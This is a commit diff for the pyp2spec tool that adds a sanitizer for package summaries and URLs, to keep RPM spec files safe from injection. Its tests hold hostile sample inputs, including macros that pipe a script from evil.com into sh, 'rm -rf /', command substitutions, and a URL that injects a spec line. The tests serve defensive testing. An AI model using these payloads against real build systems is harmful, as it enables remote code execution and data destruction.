Sanitize summary and URL to prevent malicious attacks

pyp2spec/pyp2conf.py

@@ -14,6 +14,7 @@
 from pyp2spec.utils import prepend_name_with_python, archive_name
 from pyp2spec.utils import has_abi_tag, contains_wheel_with_abi_tag, resolve_url, create_compat_name
 from pyp2spec.utils import warn, caution, inform, yay
+from pyp2spec.utils import sanitize_input
 from pyp2spec.pypi_loaders import load_from_pypi, load_core_metadata_from_pypi, CoreMetadataNotFoundError
 from pyp2spec.local_loaders import load_dist_data_from_dir
 
@@ -46,11 +47,12 @@ def prepare_package_info(data: RawMetadata | dict) -> PackageInfo:
             project_urls["home_page"] = homepage
         if (not homepage and (homepage := data.get("package_url", ""))):
             project_urls["home_page"] = homepage
+    summary = sanitize_input(data.get("summary")) or "..."
     return PackageInfo(
         name=normalize_name(data.get("name", "")),
         version=data.get("version", ""),
-        summary=get_summary_or_placeholder(data.get("summary", "")),
-        url=resolve_url(project_urls),
+        summary=summary,
+        url=sanitize_input(resolve_url(project_urls), url=True),
         extras=get_extras(data.get("provides_extra", []), data.get("requires_dist", [])),
         license_files_present=bool(data.get("license_files")),
         license=resolve_license_expression(data)

pyp2spec/utils.py

@@ -19,6 +19,11 @@
 yay = partial(click.secho, fg="green")
 
 
+# Shell metacharacters to remove (dangerous for command injection)
+# Note: { } are preserved for RPM macros like %%{version}
+DANGEROUS_CHARS = r'[$`|;&<>()\[\]\\\'"]'
+
+
 class Pyp2specError(Exception):
     """Metaexception to derive the custom errors from"""
 
@@ -216,3 +221,36 @@ def parse_core_metadata(metadata: str) -> RawMetadata:
     raw, _ = parse_email(metadata)
     # TODO: consider porting to packaging.Metadata instance?
     return raw
+
+
+def sanitize_input(text: str, url: bool = False) -> str:
+    """Sanitization function for untrusted input fields.
+
+    text: The input text to sanitize
+    url: When sanitizing URL, apply different rules than for free text
+    Returns a sanitized text safe for spec file insertion
+    """
+    if not text:
+        return text
+
+    orig_text = text
+    # Remove newlines (convert to spaces first, then handle below)
+    text = text.replace('\r\n', ' ').replace('\n', ' ').replace('\r', ' ')
+    # Remove control characters
+    text = ''.join(c for c in text if ord(c) >= 32)
+    # Remove dangerous %() execution patterns
+    text = re.sub(r'%\([^)]*\)?', '', text)
+    # Escape % signs for RPM
+    text = text.replace('%', '%%')
+    if url:
+        # No spaces in URLs
+        text = text.replace(' ', '')
+    else:
+        # Remove shell metacharacters from summaries
+        text = re.sub(DANGEROUS_CHARS, '_', text)
+
+    text = text.strip()
+    if text != orig_text:
+        warn(f"Detected text has been cleaned from '{orig_text}' to '{text}'")
+
+    return text

tests/test_pyp2conf.py

@@ -205,7 +205,7 @@ def test_summary_is_generated_if_upstream_data_is_multiline():
         "summary": "I\nforgot\nthat summary\nmust\nbe short",
     }
     pkg = prepare_package_info(fake_pkg_data)
-    assert pkg.summary == "..."
+    assert pkg.summary == "I forgot that summary must be short"
 
 
 def test_capitalized_underscored_name_is_normalized():

tests/test_utils.py

@@ -4,7 +4,7 @@
 from pyp2spec.utils import normalize_name, get_extras, contains_wheel_with_abi_tag
 from pyp2spec.utils import normalize_as_wheel_name, archive_name
 from pyp2spec.utils import resolve_url, SdistNotFoundError, MissingPackageNameError
-from pyp2spec.utils import create_compat_name
+from pyp2spec.utils import create_compat_name, sanitize_input
 
 
 def test_license_classifier_read_correctly():
@@ -213,3 +213,77 @@ def test_project_urls_empty():
 )
 def test_create_compat_name(name, compat, expected):
     assert create_compat_name(name, compat) == expected
+
+
+@pytest.mark.parametrize(
+    ("summary", "expected"), [
+        ("A Python package", "A Python package"),
+        ("Line 1\nLine 2", "Line 1 Line 2"),
+        ("Package %(system curl evil.com|sh)", "Package"),
+        ("Version %{version} package", "Version %%{version} package"),
+        ("Good summary\n%prep\n%{system rm -rf /}", "Good summary %%prep %%{system rm -rf /}"),
+        ("Text\x00with\x01control\x1fchars", "Textwithcontrolchars"),
+        ("Python 包管理工具", "Python 包管理工具"),
+    ]
+)
+def test_sanitize_summary(summary, expected):
+    assert sanitize_input(summary) == expected
+
+
+def test_sanitize_spec_injection_via_summary():
+    attack = """Legitimate summary
+%prep
+%{lua: os.execute("curl evil.com/backdoor.sh | sh")}
+"""
+    result = sanitize_input(attack)
+    assert "\n" not in result
+    assert "%%prep" in result
+
+
+@pytest.mark.parametrize(
+    ("value", "desc"), [
+        ("Package $(whoami)", "command substitution"),
+        ("Tool `id`", "backticks"),
+        ("Package | sh", "pipe"),
+        ("Tool; rm -rf /", "semicolon"),
+        ("Package && id", "double ampersand"),
+        ("Tool & background", "ampersand"),
+        ("Text >output.txt", "redirect"),
+        ("Read <input.txt", "input redirect"),
+        ("Exec (subshell)", "parentheses"),
+        ("Array [0]", "square brackets"),
+        ("Path \\escape", "backslash"),
+        ("Quote 'test'", "single quotes"),
+        ('Quote "test"', "double quotes"),
+    ]
+)
+def test_sanitize_removes_shell_metacharacters(value, desc):
+    result = sanitize_input(value)
+    for char in ['$', '`', '|', ';', '&', '<', '>', '(', ')', '[', ']', '\\', "'", '"']:
+        assert char not in result, f"Shell metacharacter {char!r} found in: {result}"
+
+
+@pytest.mark.parametrize(
+    ("url", "expected"), [
+        ("https://example.com/pkg", "https://example.com/pkg"),
+        ("http://evil.com%(system id)", "http://evil.com"),
+        ("http://example.com\nBuildRequires: evil", "http://example.comBuildRequires:evil"),
+        ("http://example .com/path with spaces", "http://example.com/pathwithspaces"),
+        ("https://evil.com/%{buildroot}/etc/shadow", "https://evil.com/%%{buildroot}/etc/shadow"),
+        # URL-specific characters that should be preserved
+        ("https://github.com/issues?a=1&b=2", "https://github.com/issues?a=1&b=2"),
+        ("https://en.wikipedia.org/wiki/Python_(lang)", "https://en.wikipedia.org/wiki/Python_(lang)"),
+        ("https://example.com/path[123]", "https://example.com/path[123]"),
+        ("https://example.com/search?q='test'", "https://example.com/search?q='test'"),
+    ]
+)
+def test_sanitize_url_dangerous_content(url, expected):
+    assert sanitize_input(url, url=True) == expected
+
+
+def test_sanitize_multiple_macro_types():
+    malicious = "Text %(system id) and %{version} and %%{safe}"
+    result = sanitize_input(malicious)
+    assert "%(system" not in result
+    assert "%%{version}" in result
+    assert "%%{safe}" in result